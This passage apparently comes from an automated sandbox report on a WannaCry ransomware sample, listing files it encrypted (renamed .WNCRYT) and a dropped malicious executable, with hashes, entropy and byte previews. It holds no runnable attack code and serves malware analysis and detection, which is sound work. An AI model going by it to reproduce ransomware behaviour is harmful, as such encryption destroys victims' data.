                                    SSDEEP:192:6PgZ/wc4dXwT3BhthvmGRTg0+BUV1onMMt+UQAA9Wp3OFPOG:yg54dXoPuNUV1ErCWG
                                    MD5:3B0119645580661F143C663F3BD8B7BF
                                    SHA1:290A78F147EF6BFE5EB1843EAB252F22C73E9B3F
                                    SHA-256:FFAB05D94C09462C830033709A050BC40EDC5B677C978350AA624F757128633B
                                    SHA-512:370ECAE2B1E68402B15C6D89C97340CFD9AC99ECFAAF90A47656504619BF1EFE726AA3AD457A17072BD084EFE51CAD0935210BF3C5ED1969F9A9D02C368E4A00
                                    Malicious:false
                                    Preview:WANACRY!.....kZ*O&!.S...:.Q.-< tW.g....$vR...|:-.".@D\..'z...8aD@.uY._..bPgKW.X......D.f..........5.Q .=6=^H..!O7u.1LM.....^..F.~...z..4....U@.'....zi\z...ztZ.f..`.\.|_...........h..9..7..c......`0K.rMm...........::..>3...C....F.D.@...4...Hy.gI.........y$.......".2..T.b.6.9.g.VC~....<.&...7.................M..h..g...=.^..~B.Gj..q..].@_.=..j......7..W...,.,..`0.0..~..c2A.....(..~....-.4`.... ...0..)..RR..D.t...`y...e.E.3k`..h..:H..O..\.6.....3.%.N..T...*Q....CA...J...C)d.J.dlZC...[..Hd*.}...9I.p,.|.1.Q.3....*Q.:Q.^..7l..v2.?.v..51....`.`9.....!.*_.-..,.AcIY,L..XxE..........?N....t.........`...u.......jH.;...1...^.p.DDC...Jz....o.G....L'...;..K...5...28......Y..Y.-...8.<..DH..sj.N....N2....Y.tT.\.p. .-..|..->..$~T.....\O..#....)..d.|2]....0. ..>@.....QL...R.j......~.L.C. cF......x..j.....jhg....n........3...f$......-..,.z.o>7..+[.);rC..w,.&.B..#..P......=.]6...,..D.*...U..H.........w..UM.Ia....8..u.8?..M.]...xQeCI...j.9Z@i..+

                                    C:\Users\user\AppData\Local\Temp\scoped_dir5952_991612011\CRX_INSTALL\sw_modules\settings.js.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1848
                                    Entropy (8bit):7.8960628008747085
                                    Encrypted:false
                                    SSDEEP:48:bkGd/l+E8wq5sulU9GcXeK9r/UED+O3oIS7rxr9rV:oGnOaB2ED+O3oIirpV
                                    MD5:E753D297A532FA0C105188BFC6AD6C9A
                                    SHA1:554B47D156E4E230BE3153EBF93CCA097ECC2A8E
                                    SHA-256:4CBD4A325F0F2DF468F07CF447217478B1D2BF2169FBAC0AB23B3718F6D952F4
                                    SHA-512:96C5AD3B5AEDDE81FE5DB97DA1CA713C18B2E68DA440E80637871D29D020B1986530719E7D0E86FD984193C6DBBFEE24DA042AAE43A36140695852DE9B08C7CC
                                    Malicious:false
                                    Preview:WANACRY!....d4....V...v...$.UBx{.%.f.v..V..$.Q.Z..6....(....<.iH.x[.ya.:.4L.i.1.1.g.h.=.gl....s.*.....#......,E...S..b.Lk.........!..{..S....^.8.&m#GU?t.....?...}L.......H.9.O.<..m.../;....,.@..H...e..5m..A./....|...R..^.....0.....M.....!...........&.S............!..L.o.-.....L.e0...0......%..F...u. g....1..a.i.h.^2..2.ln._...W..tKF.../-..t?k.'.p..................j.F..I.U........^.....#.H./a...B......,.^..8...LH7....F.P..UN....)l..!.V..R.-...Xf.<.e.`...8L.....=...}....3........M.:.gH.Y....r0C...<...h.h.I]....j.X:$.......m....*%=.C-j|...@..!.a.G.....4ZYW..;*...A............G.T..{O.0^-./SLO...-...h..g..4$m..<Q..B2..r.p..w..........9...%6..7D.....7...t..8....BP.....:..w.E....9....6"T.../Ik<......J?)....sq...$7.....H.l.:{..=h..U.l."....z....'4...._e../...'T...&....!...t........r.v."......9.xR.oCb..j..y..0.H..+U.q..w..GKm[....,}...Z.M.7.........oY......4...E....1..Z..s5#......G..g=....r.xm..5!o|.q^...J....]n.k........A].V..&..L+Rs6x..;0.N'.

                                    C:\Users\user\AppData\Local\Temp\scoped_dir5952_991612011\CRX_INSTALL\sw_modules\util.js.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):4552
                                    Entropy (8bit):7.9534797782353595
                                    Encrypted:false
                                    SSDEEP:96:osF8xon1uAsLclSs5MzqivwTcy2Ob6M2eXoBJsypzM:DFoonqUSsuqivDBODoEUo
                                    MD5:05EC708E0C2D8D6AD7F9F3D1B2D23518
                                    SHA1:C870E0AB9E8B26876F1B2D102EF1C6D24A19CC76
                                    SHA-256:1611EB0243F91535EEF3DF4D392474133F18F7A57EA2A52114754BF040956C6A
                                    SHA-512:15E41FEF4D1ACE78C37B5FD1E7E26AA6FBCD157610750CE8A16B7A40A358A0FA803ADA3EFD79E38743DC817124AFC6F170A1F5F917B42DABEFE7B88D87CE6750
                                    Malicious:false
                                    Preview:WANACRY!........v.Z......i..wB.#......$9.#....b...'..H.=.g......n.{1.w.Z.T.&..Z...v.+t>.<...l..]e...Q...T=...`8hH:D....6...i.KY3;N.(r.....F.o...3.86./;A..t^.....T..x.[h..&.............i.2....p..K..n..q.b.%d.W.x).......=!w(..R8.v<...A.|H..."....`...W.....)................'}"Q....k....`....;.....I>24.Kk..1A.V..-.R.._..$...y....g7T.....d..R../.......Z..n.%E.$....R......c......u^.o.....M.mQ..v..#.......:.a.zN.#'..?..uF..u.@)^.{....I.@......../~5M.cz...F."i?...(...OL .,.....Hml.j..Emn.......r..=w.E;U.Cv.x......_v!...e../Wn..d. n.G.[AS[..k..a._..i.".Z../U..x..iKP.1.-.....z.O..c..,.*..p.`^_..p. ...:4).bpA~../.=..m.Y............v.PP.....d.....,.4;.r......}.r.#Y.y..V[lq..w.....6...n.P~.\b.,....3;.T..j...........)^;75^.mb.B,........!b...#...k.^.......D..n..L...v..1.M9p.9..o.p~.[.x-.l..,.M...O&..v..[jk.1..D:?4.....S..0..b.Ji..V].RMx.":... K=..#..n.Z....K.1^a.y."ltq...l.p.....*..."L"..g...d..bS..y..J..+../..a.".$I..S.e.>.yx .;....R.....).X......

                                    C:\Users\user\AppData\Local\Temp\wBQInv.exe

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                    Category:dropped
                                    Size (bytes):15872
                                    Entropy (8bit):7.031075575407894
                                    Encrypted:false
                                    SSDEEP:384:IXZQaD7U8iu4YsAa7ZA0UvH2lsRv21yW7GbAxur6+Y9PffPz:gQGPL4vzZq2o9W7GsxBbPr
                                    MD5:F7D21DE5C4E81341ECCD280C11DDCC9A
                                    SHA1:D4E9EF10D7685D491583C6FA93AE5D9105D815BD
                                    SHA-256:4485DF22C627FA0BB899D79AA6FF29BC5BE1DBC3CAA2B7A490809338D54B7794
                                    SHA-512:E4553B86B083996038BACFB979AD0B86F578F95185D8EFAC34A77F6CC73E491D4F70E1449BBC9EB1D62F430800C1574101B270E1CB0EEED43A83049A79B636A3
                                    Malicious:true
                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........I.>.'..'.>.'..\.2.'.#.(.?.'.>.&.y.'.Q.#.=.'..).?.'.7...6.'.7...?.'.Rich>.'.................PE..L...JG.R.............................`.......0....@.......................................@..................................p...............................o.......................................................................................text.... ..........................`....rdata.......0......................@....data........@......................@....reloc.......P.......(..............@....aspack.. ...`.......,..............`....adata...............>..............@...................................................................................................................................................................................................................................................................................................

                                    C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\AQRFEVRTGL.pdf.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.819476558285032
                                    Encrypted:false
                                    SSDEEP:24:bkJs7DhlTftrS9fhnpwjP0hVWPMfT48MTAW9xg2rEm9eaFaKrodoL4XZo88:bkJYgTwjP0vMMfTgl9umh9xFaKTL4i
                                    MD5:BD942610701927F2A27ADA5A43C452CF
                                    SHA1:05CEC9176EDDE25829E07F071F3E4CC433B395CD
                                    SHA-256:4662232F7127D98DFBB9F9F7ABF970096423E5165D7550349377A73301B1F87C
                                    SHA-512:0AA15AF8D38430E32605440ADBC0F9FF720CFED85187ABFA575C4C704862CB7C09457B93E3D38201038E586BD166AC60BECF62FB44AA0DDFF279A28C10C8DA39
                                    Malicious:false
                                    Preview:WANACRY!.....n.z.;.V...2.'...G.0.......yq.....~?.....tIB...Oa2.:..&....(M.ys.P..sqBk..R.......N.T...~S...V.;.7.@..r..(.....p..J.".......X...zZT...F.. .85..AD.;..o.+-9..............2].R.Vc....9...30.J.&~g....W....'........a..q_...N.:w..p.(x.M...DNQ..MD...Yo.............O.;....Z......|......*OY],.\Tpg..L+.....H....!........vI.v..T.].%.{..#+8M0......5.a...R....h.i...Id]J.cR.T.a.7.+......c[.h.D.m.q"HWm...jK./.#...S.g....LK..X.-R.$..WU....O...(3..V.]....._~.z^....:@M....J.`.<...>..LP...&&(....#...`S9]X.m.I.M.h?.....-FPT..7..K.!...=w..yB...T.q./.u.......a....X..S.R.@<.~.d..;.NC.)..U...\.....[..$...dw.$..j.FvW)7..(.`..\...k....l..VP.~.;..+..".z..F.7....e.].i..o.dx..'..|:W.l...!.....>.myg...X.Do..:6.@.rf#...7..E6..H...%..C.<.p*.tc.?....%CvI.......v?...ygE.6E&p0d..l.h...../<g.D.V..!.tBbv.U.......xL....r:...4........"3.(:p#.1.5..L?.."...9..ATjq...vT..i#{&....%.T.D....d.:.`_'..<<j[=......6. .k..y.......j.4...6....~.?T$....!...O...w..T.O._...1.+.].

                                    C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\AQRFEVRTGL.xlsx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.83767351690038
                                    Encrypted:false
                                    SSDEEP:24:bkU4sQ2pWbVSyq6VCF5Oe1SJO5ZHuJMzSm1omDm+d2lE9LTlPYyTOMLk26Z2maU:bkU4MWxEMCF5O3+lV1or+AlE5YKLqZEU
                                    MD5:1D9F23676BC1F11DD0D6E27F03E8E7A9
                                    SHA1:DF21FA670A405F0D2AF480522FF3FAD8C3EEFA6C
                                    SHA-256:43CAA21FDA053E78723A23D005AC64CA99E906B3700F931A7B32A74709A5EEDB
                                    SHA-512:4227496C10CEE081F72BC10A236CC0319160E98C0BC08F6F08B659DC07E345C52CC21D43721836275F0AB5BAA1D97EAB2AB1638614499D7D0F15E4D0FD600C2F
                                    Malicious:false
                                    Preview:WANACRY!....n..>....?'.V.(.4.o.....b.r.!.z.w=a..=..&[.-....!.i}S...q'dj..".F.....:.VV.......\.C.'.%......r.XXr.3.....-$../.v/..q.`y&z| ..{(....y. .8.h.b ..m.Z.=.3..q.....`MN.E<..0U...4.C.z|..v.6B4M...O.ZA...m.......#*.($.<.y.....fN...`,.j-.:D.l.NXn@..............6.........[>....... `..IA*z..e!...h.x`.......f_.......j.......eOa.`i.l...>q.5|h...a[.%...]...!R......eY.kZ.[..m].d.{...;'>F.s..A.....hv..x.!Y.c.1. &v...[2.3.'b...Kh..X3W......A....L..^.L..jS.t...........3.........|z..(Z3....h...F.I:.z..t.i...qw<eXg0K0y9......[.b..>..>R.a....=..eP.Z.CW`....'~:A.r..ydI,..w..k....3.(.....2.3.a7.z.#DM.g.a.....P[..'.W....!a...U...:go.$.....VV..H.#]:.9.fj.A........U..b.E.6Z.hx_...../...:....n'..o.1..'a.|.8.XG..!Da*..&!..(..T......u....t.2.........+'iY.&M.......;.!|D.'....(.......5.u...JI.y.^=.Q.=..%t7.<...._..z.o*...A...h...5..Cf......Nj...qN..oX.*..N>....,.0.........4.=R..!.w.}l....0..UnE.L..*..I.`.7..3W..J.-.]N..1...N.C..,....j*.R...|?]

                                    C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\BXAJUJAOEO.jpg.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.832874219922318
                                    Encrypted:false
                                    SSDEEP:24:bkJYVkj9WgyZdGjp+1Gzv9EPJvuYPiSfMrOcYaCPQqSob+yuHrmYphkI0U:bkCVkcEjp+1CFKwYPiS0fYyosSYphkm
                                    MD5:14613B8BD1F76C4D79B8C8213D529059
                                    SHA1:A553E2322077EDBA32C290B73D4004EE3277E3EE
                                    SHA-256:59D8AFF279CBD74BE2E75D083FF67385EF2399208E8CCED436F3FF0696F2741C
                                    SHA-512:2BB6FC68B0616D2E80CBC06E67954369ABB92E99A80B7873C6A095D2A97C14334EB0FA17D73CA86398D2A423D560CB3561DB9B58688506765A1B0B571FC807FD
                                    Malicious:false
                                    Preview:WANACRY!.......U..!.].v..c.g....~...Y...K..!....6..gb^c.:pP.#^!.b......8.2A.t.sw...a.S.O.........>3W..E.q?.....}.K.<(.#].qO....U..G..GdrlkZ......%E.{.auwOX..q..;V#\..Y.@.L~.2.....,.........A..b.X.a.FI\......PM........\.`-H&v....._^.....a..CH/..i..4Z.................L..+..C.....A.A..%$..e.......t.......U?.9.1..>...~_..!.:......+..C.s....VM7^@.E..~..A5.:....9._/)S.]....J>..p.e.C...k`..(.Y.z.p....!w.TwW...d.4_&wW.n..2k.v<.....V..4..%b.;.b .r..zf..v`.Z.......x+..hL.a.)T...s-kQ....Y...x,>..Ni4.A=Y#.,.#O......9,......c..../..&5/c..):.:da0.n<.T......y.UA..K;..K.....j7....].x.i/K..W.}$T.W...N..*).X!RT.8....s ~./.gt..4q|.ix.....z.K......*.......G..0.....<..K"..t..n.G.^\....6....}F..'.....w.{V.c.r...`..J.1...gS.$|.zZ.&.).y...w.S.K....Pi..d.k.*.CAS.{...g_../4.v.H.O..cA}...BQ...a.wN,.~.KIY5*s....k... Vv......**emA....C...`.k..T....h.l.vKj.......eE.N.....~.8...#.(KjK....*...m.....+wr.&.z8.$.'km.C...\S"..6..Y...1.z.~.Y..n8..VP..Q.u:2..n....m.

                                    C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\BXAJUJAOEO.pdf.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.865949627227517
                                    Encrypted:false
                                    SSDEEP:24:bktVlHvTL/gnkjEfQqhFV2UTBSuSBxrHc1dcRndJgOfEtEyhmPscEQTS0:bktVln/vjsQqV9dSND8ARnTfEUPs2v
                                    MD5:4DEBC09F40F4745453C96F77E6B4DBA5
                                    SHA1:3FA8EACA54C52EBABC66F1F1E9893C04B8CE8D43
                                    SHA-256:1ED46D04A1E5DA611F11D9B2934D932B309C06BACCEC76CF45C15A335B90FCFF
                                    SHA-512:47A88D962D8C0841E2603022E38B272CFBB32CD55389BD2C4A3DEAACF7F3007645D5897C9672214D955E5EFFE781C593FC644A48E2B9C4ECC927F59582436D1C
                                    Malicious:false
                                    Preview:WANACRY!.....W..R..=MP..[..#..%..r...C4..{..L..q.6.|,..F...kn[.....VOT.g.pe@..-......\G...6m.m._.e..APcUAO.Nw..h.n%..n6..B)..../I.X..+..Z5..V..ykf.=Mc>W..lb..Kf.kqX9./m..n'.'........*.....ls..($.i.......F..b:.}.....r..$.>......8.n.=.o.t:(.U..H_...g.)&.............,.f Rd..`..dg_.t.j^.ZL.x....=..$.j%cui.L_.R.k...J..........D..QK..C.;.B.>g.9e[X..h.1..>m.4~R.~..-9..0...8...t.!>..w..-.Y...^...M.....Qi.Q..pqh.a}..B..s....y..T..`CZ...]....qj......{.jalC.@....1.p[.24#.^.R3,Zz....`Td..9c9....b.j..v.p`."(d.S.u....6....,@..Hk.v.,5......Y?z..W.a.w..L.....a.....u.z.8'....O.....Y..\r....qVK4A...o.\B.I2'....#73%N...)....`..w.D...5....x..@>>....(....&....e..;..$...,X.....U%..L.Z.g.j._........I..]...;".....]..e..}.{z/dE..]X'.c.".HM..|..;.I.AACZ.;..k....E...+.HG......xt....!...^9po.[..<.........Hd..4...I...'.,....vMJ.u*9.>cL3.=.....(`...*8.V.,...Q.....f}.V..8....7...byc..t...N.F.p..{.`......I............Xe%y.L.*rG-....1.5:3.p...$..9>.1.*.d!.F.

                                    C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\BZXCAHGGQG.pdf.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.850871176929401
                                    Encrypted:false
                                    SSDEEP:24:bkupg3mq3FIwSrDw9pBnxDrIgy+wYUfXVa4qfDqBDUlHILubIvFvgtlyz:bkuXqVjS/iw++fLub4dz
                                    MD5:FE5C19B004D640E866E358ACEA772009
                                    SHA1:8C49C330BD91D78D74AF276A0FE99A5565808D29
                                    SHA-256:C45A7408289C918C9C96A349AE961370DF8085BFBD00C140766617D731E11E75
                                    SHA-512:ACFA122B03937D53941E66FEBF2AD9B7ABCB748FFCD9EDA24F54646A07CAD884193C3F53D4A6A61543A2B0082C54DEDB41ECE686E094ADAAA088C14D9F9B9E07
                                    Malicious:false
                                    Preview:WANACRY!......r..X.m..a!6.);......(.......Q.7.}.......S\.7?.[.]ey.....}.>.n..Z.{R=B....wP.F.1.!X$p<.z.:...Y.._..$........VxRwi3..F.&O.a.....yj..z._F'Q..^..<.y.........*...]C......,..O;......v.=.6..W.....rZ.A.B.v2k..a-..E..].]\..#<.....!..5...T7.@...............Y..3T..wg. .:QuGv...8......8.F...w*..=?.Tj.O.K..B..p.O;..3p.&,{..m..t.....yL_...U.m7......[c.v%...^=........6-oG#.0...T.Y.1..\..E..#gT.%?.\.*l..9$4~....'..*..5v..x...l..M...Y...d&._...?..L.6...e...&p......w.0.J...P...).&2oW.............._.L%....S..;J........a.U._*.V....M..iZ.z......I:,Z..2.s..A......l.s..=.R."Hi.6.L......O..`f&N..f..<.....(..P&.K.. ....9..V*..E#..Y....L......4..[.3...b...b..)...$.H....A..`....d...p......o.`...s..Z.j...T....p.c,H[0.&2I..)..Wn...A..h..+$]...g|.@..WX...iE<Nt(.+j.w. ...F.......>.t...jPF.=..a....-...LO...W.....?V..hN..R.$"Y..........\.z].>\`g...m*..3>cgE..I.j.........h..N.}.{....u....,L}.@r..D..S.M.....;..#....p.{b...u.5.\L8.O..cT..8..."Ii......g~...r...S.

                                    C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\GJBHWQDROJ.docx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.837712649779283
                                    Encrypted:false
                                    SSDEEP:24:bk06aBVoQC0ddOO+cNC76DRBaP75sVAdzLRxmrPBEigzF0CZp++:bk9aHoXkdOBCCGDRB+sV0LRkr5EigzFh
                                    MD5:59C081A5E83E5C99ED73348B96AE8B08
                                    SHA1:6E36647C376912CC58F43A4100A55F64845D56E1
                                    SHA-256:1DBACA1AAC7F5D532FC42B65FC9590DA23A960A40104538ED6E8484CF7D985A9
                                    SHA-512:A31CD9338395DC1A87679FF468FFE8FE46ACF267ACE17D5CAFF07EE86D77287BCC3B6C6D5FEF8B590580FD5A820DF8B828284DC1FB6CCBFB9C5E44B34F41E546
                                    Malicious:false
                                    Preview:WANACRY!.....c..2..\....v.W.O.vB..9k...@.q.<..x.<eJ.P$._....hs..FT%W.N.v.>t......r..'.v.y."R?0'...e.E#B...$^..9C(..G.6.}Bf&MkOK#I....#..u."...M.+.=~..V..{s.!.i...Vg....<...O..{.Awy,.M...q...~5&o._.;..%..1B,...JX.D...X.!fy.k..5.O.K?.X..%..."..7b..@...............bkp.d'.<ok...[.....[.S.[.)r....n.a...2!.G...Q.!.=......~.....u."..l4...1...e{.%......G.xd..U.$....Y......a....C...m#L8.v.i...k..<$G.[.......0dd..z...w...]..f7...X.......w.7.Mg...N.\....`.R.v.........\.;..:..x....d{..h..X...Y."2. \]....(../.4.#....XO..s0\v...w.Dy.....N[b2.oF%rZ.G.g.k......j..m:...3*V.es....8*.%....t........M9.....u0.$.e.EFs...9..&.i..#'.]....H....$..A..s ...p]..UA.z^.( ..u..SZ.5Y2(D#.P..[h3..p......%...1....P.<......;+.c#...N.......a{....F...Q;.....".B..U`.'{.\1......<....2...A..A/.\h..C,9..-+y.{...Q..2}.-.\R.t.*H\fB.4/.bp.. ...ZM........c..f,:....ux.n..1.{.E....{x.@..................)3c............V...#B...#v3.m(i.>....Z.~......SVld..!]..).m.8.......'l#p[PyK(..]..

                                    C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\GJBHWQDROJ.pdf.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.834358663613347
                                    Encrypted:false
                                    SSDEEP:24:bk9Mt3MDCUlE0RQfR9iwlLHY05wMRDTU+IPR1+tA9rG0g6U535DFdHGU6s7+:bkut3BM/RoRljhUhU+26U5VX16K+
                                    MD5:615B9E0290C4E6EDEDC21FE882629506
                                    SHA1:1B519324C5245B690EC45677D4417E6FB528AFA7
                                    SHA-256:0D98C82FDE15E140D8B4480784C389F9490AFE301991CCD65A35E7C2A0DC5735
                                    SHA-512:C30235391AC52EFE1148FCB3E78DBED3676AF2598145BCA586BBD82D5C6AABF6EC7B3A2504F2922E570966B2DBC8841E567EE3126C41692629B1EAFF553FFD20
                                    Malicious:false
                                    Preview:WANACRY!.......3. &.U.....).04..^s.J.....=....W.Q.J..@..%t..!.\...j^.&.p|..F.@...3..#.K...,...+...>.#S\..4G.<XS."....`U..t.....8]....3..|#j..h@u..i..rO.+k..dp..... .........@1.......W.aX.q).qM....fA...._.(F.p]P.............x..p.4#..0(<.(8]&M.2..DH[.\!..........................VU..........p...J~../.K.].)U......1.<...%$R...9pL.#.$e.7....4.&.P....X...|'..2....W...#[e...tt.Z._.s~...#.....\.8b=...@...5.a.....pnJex..F.....I.Yo...k...{o.u.'......9.%..O....=..978..'.M..l.P.y1..g..}U?m..."s.pj..U... ...AJ5...t.......@.c..^../|...9.....1....q.~.N<>O..HW./.o.0K.@......$.wg.._..=..Z5*.M...o3....+.L..z...4....Q....3.9;~..X...@.h..;m.R85.a?Z.~I.o7Y.d..4W}X.#.....0..(....U^j._9a<1......"...\.......R..,5.b.lN.{..S@.D.>.....o....w......th2...ah.c..8.h1At.Lg..c*R...d..I....<.....#.aXF.$..5.....9\~H....$Kg.F.. }AV....3.[n.+..xQ1f..<+...cI..R..S...^..FVY...d.U.......`{..uu..U...../<.....7....$...HT.....mQ.M8...&....FR...Lt.P.}..B.....n.W......<...Ap...\..

                                    C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\GLTYDMDUST.docx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.831832130042665
                                    Encrypted:false
                                    SSDEEP:24:bkHbUid8Iqpn6Y7i/IuTN7+9yPlKrRJ9BVx9GIW1jmvH8iPojk9EPk:bkHb6I0n5hu1GSlIBxZUSvmk9n
                                    MD5:94E51F48236E8492AC88159C5B241384
                                    SHA1:1903652848B40DA3F031143FA385EA1735D84682
                                    SHA-256:ABFF647DFC47983186F247EDC5D6AB0E6C27F6DB6A630DD873A8D38195B9C395
                                    SHA-512:269559FA078E6D54AAD5AF37777908D9E0343DBC91FE5E7CB67846D090D0CDE8316DF3FF04D222362ED7F3A4F82B590B8D9DDE7F6E67D073109D3B202BFA1A81
                                    Malicious:false
                                    Preview:WANACRY!.....0..l..Q..........~......$...cv.?.AIh>F..s......7..........a...QD.....,..c..[k......5...M..X.{.........<...a..q`m.,.[<x.@..r..C....v0......'....:X.E....e...E.F..H...bL+...H....SU^J.....^......h..)...u6U.?......~.H.q....N.b..+a>.[.n.....}(.............]... ..g-...?.F..S.....-....+i....k..E...2...9.gg.$c+b..m={..%f.n=.jYy...2}.)42.[.L..W..~..C...f.;A.8................ga...^`.q.:8.%V'fA.........vwS..4.m...s#4S.....^_D.......1C;..@...ufc.N_g..O.._.;..Pc....~.hYOv.r....`UB.....+p....M..dS.`.X/3.Q.c.P.ugUQ.~.;..MT.....7P.X.k..G.....G.....:/..%..U.....].h..J.../].A..v...x|.1../6..;.c...E..A..l.rY.W.O].t;S.m..A,V..G.7O.f.r..t.7...t.1...!.G.-L....`.W...Aw.":]O..!.4...~.U......a..h...f..w.y}..m....:.......m.l......e.m.$.5.'..eb.'.&...<.3.[..b...O ...j@T..\...e8kj........!..Wg.[.%.;.....v49o.....z}Y.W.N...t?..Z.....?S.K.c?.fE.'[.....^......F.2..n,.oSSm...|m...L.J"\6(.8T...$..MI.....Gsk.....Z..~,.]%e.c..%.HV$.m...J......v..{..i.g(.....

                                    C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\IZMFBFKMEB.docx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.8616030362640865
                                    Encrypted:false
                                    SSDEEP:24:bkXLvFFVY+tWLg8owVr+vReaGrWvYGrvAdU64s5hDXbOGJKRFTc1LU4Eqkbi0Z3i:bk5FFtKgJ2+vkyvYGroosXqw4Zc1dE5O
                                    MD5:254C84AA429FA6B84BF5730CB5246907
                                    SHA1:85ACC53A82E45A6C42439034F56D8155F2F8C23A
                                    SHA-256:5CB0E604D5BF7C39C782AE4CA83BABFEC9C35F90715794213F6AEDF78CC75E18
                                    SHA-512:878256DDB38C58225BF9E2295091C10F025973B2AC4DD428368E25C3F509F5D62E23C8F87F5CAE7A5A86B23463477215286C76C389E434412CE216B022E32CFE
                                    Malicious:false
                                    Preview:WANACRY!....._8.U..Aw...].F.....m.y..7y.}^/.[G.&y....j+....0.z9E.i..f....s."...|.R.$...F.....k...5.....%..Es..Sj+....(~!.<^.[...n..>..j...."...V.,.....N.......6.\.~..@DK...+..%k$V0..4......-.Ln..~..<......_.<n.s.n.H.E.9....p....8T.. S/...u.1.>T/c.=..................T.^.X......f........z...~OK*7.&.......:P.|^..3*6..Z.....0...?.S.s...Yeor/..N..F.Z....=..s~.......beb....I.NC..,....q4......*.q...?....X..;..zb......@...Nu9C.8.4.4.xgx9.....g...^\U.;...}.$.]w...F^...;&.##.(KG....'...'../...;,!C.....Y.^.A...l..bS.I...K`.....)_.g.L.f..7.W.......1..t~K...8......M.3..U..qs.w.-.k.6F....._.g...\..d.S.;.=10.ar-..Hzg@?)4..y....n.Z.!<..8..8.3._..@&"...q.=&xaS}.....T..{Sl...h.<...x..G..&...P.$b6..)Qy."".....41..n.....e.y.[5.8K4.8....Z..PT..#Tf..'....q.......Yr.?..XC._.?5l?..hJ............rL..8L..D..;.tby....32.?..Y5a...%......."i.....@........E ..E...........D..b.a..].......F.`:tq....o.'^t.*..Q.iy.....|.\z..F...y....U,.}.c..pVUj.....*2.(.....V.:@p..>."hqU..GV.;#.

                                    C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\IZMFBFKMEB.xlsx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.8582879685975895
                                    Encrypted:false
                                    SSDEEP:24:bkqlMlHfojwhR1jvmyBXMLIXvTnTliLOqF4Of+2hTvFwMWFPTQ6Gk6lWwRSYCwiF:bkiMlHOwhDjvELYTn040g7Q6GhhFCwiF
                                    MD5:AC1567B413F8839E0AB462FB28CD8FAA
                                    SHA1:2FE804E3965C3601B4826186EAF18A511DB97868
                                    SHA-256:695D0A633733AF7876EE07E6F862AC9CF6AD9D3CBF97B68DAA7BF33D1231155F
                                    SHA-512:6E72092162C556EF1F47BA7653355778153DCF2636338CCD0AE21F43F81F2BEBAD923761CBFCE13113D9F8ED2C125A81EE9C72942F83F7B83BE9DB854E18AEBF
                                    Malicious:false
